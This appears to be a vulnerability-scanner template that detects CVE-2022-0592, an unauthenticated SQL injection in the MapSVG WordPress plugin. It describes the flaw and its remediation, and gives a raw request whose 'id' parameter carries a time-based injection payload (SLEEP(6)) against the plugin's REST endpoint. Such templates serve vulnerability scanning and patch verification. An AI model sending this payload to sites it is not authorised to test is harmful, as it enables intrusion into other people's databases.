MapSVG < 6.2.20 - Unauthenticated SQLi

id: CVE-2022-0592

info:
  name: MapSVG < 6.2.20 - Unauthenticated SQLi
  author: DhiyaneshDK
  severity: critical
  description: |
    The MapSVG WordPress plugin before 6.2.20 does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.
  impact: |
    Unauthenticated attackers can execute SQL injection via REST API endpoint to extract database contents or execute arbitrary commands, potentially compromising the entire WordPress database.
  remediation: |
    Upgrade to MapSVG version 6.2.20 or later.
  reference:
    - https://wpscan.com/vulnerability/5d8d53ad-dc88-4b50-a292-fc447484c27b/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0592
    cwe-id: CWE-89
    epss-score: 0.10172
    epss-percentile: 0.95698
    cpe: cpe:2.3:a:mapsvg:mapsvg:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mapsvg
    product: mapsvg
    framework: wordpress
    fofa-query: body="/wp-content/plugins/mapsvg/"
  tags: wpscan,cve,cve2022,mapsvg,wordpress,wp,wp-plugin,sqli,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        GET /wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)--+ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'contains(body, "map")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and